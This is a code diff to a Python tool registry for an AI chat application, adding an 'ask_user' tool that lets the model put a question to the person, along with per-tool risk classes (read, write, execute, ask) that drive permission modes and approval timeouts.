FAMILY_ASK = "ask"
|
||||
|
||||
# The built-in families, in the order they are offered.
|
||||
FAMILIES = (FAMILY_SEARCH, FAMILY_KNOWLEDGE, FAMILY_NOTES, FAMILY_MEMORY, FAMILY_SKILLS)
|
||||
FAMILIES = (
|
||||
FAMILY_SEARCH,
|
||||
FAMILY_KNOWLEDGE,
|
||||
FAMILY_NOTES,
|
||||
FAMILY_MEMORY,
|
||||
FAMILY_SKILLS,
|
||||
FAMILY_ASK,
|
||||
)
|
||||
|
||||
GATES = (*FAMILIES, FAMILY_CUSTOM, FAMILY_MCP)
|
||||
|
||||
@@ -79,6 +91,20 @@ def gate_of(family: str) -> str:
|
||||
return family.split(":", 1)[0]
|
||||
|
||||
|
||||
# What a tool does to the world. Only agent chats consult it -- an ordinary chat
|
||||
# behaves exactly as it always did -- but it is declared on every tool, because
|
||||
# the permission modes are a table indexed by it and a tool whose class is a
|
||||
# guess is a tool whose gate is a guess.
|
||||
RISK_READ = "read"
|
||||
RISK_WRITE = "write"
|
||||
RISK_EXECUTE = "execute"
|
||||
# Never resolves to "allowed", in any mode. `ask_user` is the only tool that
|
||||
# carries it: stopping to ask is the whole of what it does.
|
||||
RISK_ASK = "ask"
|
||||
|
||||
RISKS = (RISK_READ, RISK_WRITE, RISK_EXECUTE, RISK_ASK)
|
||||
|
||||
|
||||
@dataclass
|
||||
class ToolContext:
|
||||
"""What a tool needs to do its work, without holding a session open.
|
||||
@@ -98,6 +124,10 @@ class ToolContext:
|
||||
# the import-time registry. A dict, *even an empty one*, is authoritative:
|
||||
# a model naming a tool it was not offered must not get it run.
|
||||
tools: dict[str, ToolDef] | None = None
|
||||
# How long a reply waits for someone to answer a question or approve
|
||||
# something. Read from the instance settings while the session was open,
|
||||
# like everything else here.
|
||||
interaction_timeout: float = 900.0
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -123,6 +153,11 @@ class ToolDef:
|
||||
description: str
|
||||
parameters: dict[str, Any]
|
||||
run: Runner
|
||||
# Declared rather than derived from the name: `notes_edit` and
|
||||
# `knowledge_get` are not told apart by spelling, and the consequence of
|
||||
# guessing is that a mode silently permits something it meant to ask about.
|
||||
# Defaulted so that reading is what a tool has to be talked out of.
|
||||
risk: str = RISK_READ
|
||||
|
||||
@property
|
||||
def schema(self) -> dict[str, Any]:
|
||||
@@ -514,6 +549,31 @@ async def _run_skill_edit(context: ToolContext, args: dict[str, Any]) -> ToolOut
|
||||
|
||||
|
||||
# --- The registry ------------------------------------------------------------
|
||||
# --- Asking the reader -------------------------------------------------------
|
||||
async def _run_ask_user(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
"""Never reached on the normal path.
|
||||
|
||||
`services.generation` intercepts every `ask` call before the runners are
|
||||
reached, because the answer comes from a person and `ToolContext` is a
|
||||
session-free snapshot that deliberately holds no way to reach one. Getting
|
||||
here means some other path called `run_tool` directly, and saying so is
|
||||
better than returning an empty answer the model would treat as a reply.
|
||||
"""
|
||||
question = str(args.get("question") or "").strip()
|
||||
return ToolOutcome(
|
||||
"That question could not be put to anyone, so it has gone unanswered. "
|
||||
"Carry on without it, or say what you need.",
|
||||
{
|
||||
"name": "ask_user",
|
||||
"kind": "ask",
|
||||
"query": question,
|
||||
"status": "error",
|
||||
"error": "No one was there to ask.",
|
||||
"results": [],
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
REGISTRY: dict[str, ToolDef] = {
|
||||
tool.name: tool
|
||||
for tool in (
|
||||
@@ -592,6 +652,7 @@ REGISTRY: dict[str, ToolDef] = {
|
||||
["title", "body"],
|
||||
),
|
||||
run=_run_notes_create,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
name="notes_edit",
|
||||
@@ -599,6 +660,7 @@ REGISTRY: dict[str, ToolDef] = {
|
||||
description="Change a note you can write to. Omit a field to leave it alone.",
|
||||
parameters=_object({"id": _STRING, "title": _STRING, "body": _STRING}, ["id"]),
|
||||
run=_run_notes_edit,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
name="notes_delete",
|
||||
@@ -606,6 +668,7 @@ REGISTRY: dict[str, ToolDef] = {
|
||||
description="Delete a note that is no longer true or useful.",
|
||||
parameters=_object({"id": _STRING}, ["id"]),
|
||||
run=_run_notes_delete,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
name="memory_add",
|
||||
@@ -621,6 +684,7 @@ REGISTRY: dict[str, ToolDef] = {
|
||||
["content"],
|
||||
),
|
||||
run=_run_memory_add,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
name="memory_forget",
|
||||
@@ -631,6 +695,7 @@ REGISTRY: dict[str, ToolDef] = {
|
||||
),
|
||||
parameters=_object({"content": _STRING}, ["content"]),
|
||||
run=_run_memory_forget,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
name="skill_get",
|
||||
@@ -660,6 +725,7 @@ REGISTRY: dict[str, ToolDef] = {
|
||||
["name", "description", "body"],
|
||||
),
|
||||
run=_run_skill_create,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
name="skill_edit",
|
||||
@@ -678,6 +744,45 @@ REGISTRY: dict[str, ToolDef] = {
|
||||
["name"],
|
||||
),
|
||||
run=_run_skill_edit,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
name="ask_user",
|
||||
family=FAMILY_ASK,
|
||||
description=(
|
||||
"Ask the person you are talking to a question, and wait for their "
|
||||
"answer before going on. Use it when you genuinely need a decision "
|
||||
"only they can make — which of several approaches to take, a "
|
||||
"detail you cannot infer, permission for something consequential. "
|
||||
"Offer options when there is a small set of sensible answers; they "
|
||||
"can always type something else instead. Do not use it for "
|
||||
"anything you can work out yourself, and never ask for a password, "
|
||||
"a key or any other secret."
|
||||
),
|
||||
parameters=_object(
|
||||
{
|
||||
"question": {
|
||||
**_STRING,
|
||||
"description": "One clear question, in plain language.",
|
||||
},
|
||||
"options": {
|
||||
"type": "array",
|
||||
"items": _STRING,
|
||||
"description": (
|
||||
"Up to six answers to offer as buttons. Optional; they "
|
||||
"can always write their own."
|
||||
),
|
||||
},
|
||||
},
|
||||
["question"],
|
||||
),
|
||||
# Never resolved by this runner. The reader answers it, in every
|
||||
# mode, and the loop turns their answer into the outcome -- see
|
||||
# services/interaction.py. The runner exists so that a call reaching
|
||||
# it by some path that skipped the loop fails loudly rather than
|
||||
# silently returning nothing.
|
||||
run=_run_ask_user,
|
||||
risk=RISK_ASK,
|
||||
),
|
||||
)
|
||||
}
|
||||
@@ -703,11 +808,11 @@ def _family_allowed(
|
||||
and config.get("enabled")
|
||||
and not search_service.availability(str(config.get("provider") or "ddgs"))
|
||||
)
|
||||
if gate in (FAMILY_CUSTOM, FAMILY_MCP):
|
||||
if gate in (FAMILY_CUSTOM, FAMILY_MCP, FAMILY_ASK):
|
||||
# Deliberately without `library.use`: an HTTP endpoint an administrator
|
||||
# wrote has nothing to do with this person's own documents and notes,
|
||||
# and requiring the library permission for it would be a coincidence of
|
||||
# naming rather than a rule.
|
||||
# naming rather than a rule. The same goes for being asked a question.
|
||||
return bool(allowed.get(f"tools.{gate}"))
|
||||
return bool(allowed.get(f"tools.{gate}") and allowed.get("library.use"))
|
||||
|
||||
@@ -812,6 +917,7 @@ def context_for(
|
||||
search_config=settings_store.search(db),
|
||||
base_ids=[base.id for base in chat.knowledge_bases] if chat is not None else [],
|
||||
tools=tools.by_name if tools is not None else None,
|
||||
interaction_timeout=float(settings_store.agents(db)["approval_timeout"]),
|
||||
)
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user